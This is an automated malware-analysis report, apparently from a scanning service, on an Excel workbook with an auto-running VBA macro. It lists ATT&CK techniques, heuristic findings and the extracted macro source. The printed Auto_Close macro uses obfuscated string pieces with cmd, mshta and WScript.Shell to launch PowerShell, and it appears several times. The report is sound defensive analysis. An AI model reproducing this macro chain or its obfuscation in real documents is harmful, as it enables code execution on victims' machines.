MALICIOUS
328
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1218.005 Client Execution: Mshta
T1059.003 Windows Command Shell
T1203 Exploitation for Client Execution
The VBA macro Auto_Close function contains critical heuristic firings for Shell(), PowerShell, cmd.exe, and LOLBin usage. It constructs a command that uses mshta to execute a VBScript, which in turn creates a WScript.Shell object to run PowerShell. This indicates the document is designed to download and execute a second-stage payload. The specific command executed is: cmd /c mshta vbscript:(CreateObject("WS"+"C"+"rI"+"Pt.ShEll")).Run("powershell",1,True)(window.close): Shell "ping": Shell "ping".
Heuristics 8
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Attribute VB_Customizable = True Function Auto_ClOse() As Variant
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 856 bytes |
SHA-256: d8bb20962316711b4223aa276bcc7543cf2dee958fdda5f5ac2f022cc2109863 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Auto_ClOse() As Variant
Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping"
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 12800 bytes |
SHA-256: d6a65d828cebd8deb57b5cb6a0d411192099cc2eac31196ba9cd3a7397a17dd7 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.